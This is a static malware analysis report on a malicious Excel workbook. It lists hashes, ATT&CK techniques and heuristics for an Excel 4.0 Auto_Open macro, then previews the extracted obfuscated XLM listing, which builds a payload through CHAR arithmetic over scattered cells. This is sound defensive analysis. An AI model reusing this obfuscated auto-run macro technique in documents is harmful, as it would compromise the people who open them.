Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f09e4d95ea39b9ec…

MALICIOUS

Office (OLE)

173.5 KB Created: 2020-05-13 10:31:20 Authoring application: Microsoft Excel First seen: 2020-06-01
MD5: 8657e1aa3d0fc01c2edee75e89162fe3 SHA-1: 75baf4af4624f8668e0a820d82f73483b2795500 SHA-256: f09e4d95ea39b9ec195eaf5280479a3e117424b7caa78eadf29e15aa82dc97a4
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open macro, which is a known technique for executing malicious code upon opening the workbook. The heuristics indicate the use of dangerous formula APIs like RUN, suggesting the macro is designed to download and execute a secondary payload. The obfuscated nature of the macro formulas prevents a more precise identification of the payload or its destination.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 125193 bytes
SHA-256: 7c8bf6a76e0e589b220da55e9bca58c71a4914bf2dc0b034020525de2d6f6349
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Sheet
' 0018     28 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open hidden len=7 ptgRef3d  Sheet!GA22849 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  Sheet,IY18,"",-13.12000976562499943157
'  Sheet,EP49,"",-520.00000000000000000000
'  Sheet,IY107,"",-278.00000000000000000000
'  Sheet,GT119,"",0.31500015258789060280
'  Sheet,BD121,"",0.19182389937106919531
'  Sheet,DT155,"",-0.37459283387622149819
'  Sheet,O171,"",-57.00000000000000000000
'  Sheet,GC173,"",320.75000000000000000000
'  Sheet,DJ241,"",-418.00000000000000000000
'  Sheet,BL242,"",-212.00000000000000000000
'  Sheet,IK261,"FORMULA.FILL(CHAR(BJ60431*GJ47792)&CHAR(GZ25051/HI12290)&CHAR(GG2924*BK4856)&CHAR(G58654-IW42324)&CHAR(IT11337/HZ47368)&CHAR(FL16079-CM65203)&CHAR(GZ25051*S35732)&CHAR(BJ60431+FI60910)&CHAR(BQ45789+JO15482)&CHAR(H30178-JS11400)&CHAR(FL16079*FH39365)&CHAR(GG2924-FJ3128)&CHAR(BQ45789/IN60269)&CHAR(GZ25051-IU681)&CHAR(EN63542+DP24579)&CHAR(BQ45789*FF5949)&CHAR(H30178*HW61714)&CHAR(BQ45789+DA25894)&CHAR(FL16079-HV62498)&CHAR(GZ25051*JI6222)&CHAR(EN63542-IV18019)&CHAR(GZ25051+L17082)&CHAR(BJ60431*GQ27905)&CHAR(FL16079+T12188)&CHAR(BJ60431/FG65032)&CHAR(GZ25051-FL38367)&CHAR(GZ25051-BL242)&CHAR(IT11337-CH62702)&CHAR(GZ25051+CA16580)&CHAR(FL16079-X45618)&CHAR(EN63542-IC61497)&CHAR(GG2924*HF26633)&CHAR(GG2924*BD41648)&CHAR(BJ60431-GN46442)&CHAR(BL37793/HK28393)&CHAR(EN63542*DY43067)&CHAR(EN63542*DP6970)&CHAR(FL16079+X61190)&CHAR(BL37793-DD21559)&CHAR(H30178-B63130)&CHAR(BL37793/HE8639)&CHAR(G58654+CL33844)&CHAR(FL16079-FT30823)&CHAR(EN63542*JI11910),IK262)",""
'  Sheet,IK263,GOTO(EC17577),""
'  Sheet,F299,"",0.29523809523809524391
'  Sheet,HF309,"",5.93877551020408134264
'  Sheet,FD371,"",-0.52906976744186051675
'  Sheet,GE385,"",-238.00000000000000000000
'  Sheet,JR408,"",-4.20689655172413790041
'  Sheet,HJ409,"",-273.00000000000000000000
'  Sheet,HQ433,"",2.03896103896103886299
'  Sheet,GE456,"",88.25000000000000000000
'  Sheet,FM474,"",-4.32394366197183099843
'  Sheet,GA489,"",89.25000000000000000000
'  Sheet,DB518,"",1.40833233333333351922
'  Sheet,BA545,"",0.36305832484076427935
'  Sheet,IY563,"",-3.97826086956521729476
'  Sheet,BY596,"",469.00000000000000000000
'  Sheet,HX639,"",-15.00000000000000000000
'  Sheet,IU681,"",-252.00000000000000000000
'  Sheet,JC696,"",-7.65573770491803262672
'  Sheet,EU698,"",70.00000000000000000000
'  Sheet,FA753,"",0.18556701030927835738
'  Sheet,CG822,"",117.00000000000000000000
'  Sheet,EN837,"",-450.00000000000000000000
'  Sheet,DO902,"",4.60869565217391308209
'  Sheet,FS913,"",76.00000000000000000000
'  Sheet,J940,"",0.62244897959183675962
'  Sheet,GA973,"",0.33333333333333331483
'  Sheet,HI1001,"",-12.64000976562500078160
'  Sheet,II1003,"",-0.30327868852459016757
'  Sheet,DX1065,"",-2.34953603703703706174
'  Sheet,GU1074,"",-7.32000488281250039080
'  Sheet,HG1103,"",0.60784313725490191072
'  Sheet,DW1149,"",-242.00000000000000000000
'  Sheet,BV1291,"",-10.40000976562500056843
'  Sheet,IE1291,"",7.38095238095238137532
'  Sheet,DA1314,"",46.00000000000000000000
'  Sheet,EQ1337,"",-102.40007812499999317879
'  Sheet,V1343,"",-16.39999999999999857891
'  Sheet,FM1370,"",0.68367346938775508391
'  Sheet,HZ1410,"",-0.12019230769230769551
'  Sheet,CL1435,"",0.60722891566265058128
'  Sheet,BT1495,"",-37.40001953125000255795
'  Sheet,DG1605,"",5.78181818181818218960
'  Sheet,GU1606,"",-568.00000000000000000000
'  Sheet,CZ1614,"",1.02857142857142846992
'  Sheet,HT1663,"",88.25000000000000000000
'  Sheet,GK1667,"",65.40000000000000568434
'  Sheet,EM1668,"",0.10243902439024389628
'  Sheet,CX1714,"",-2.79090909090909100598
'  Sheet,FB1734,"",10.56701030927835027740
'  Sheet,CW1736,"",-0.82300884955752207084
'  Sheet,FY1765,"",0.69041095890410952851
'  Sheet,CK1784,"",-0.25136612021857923
... (truncated)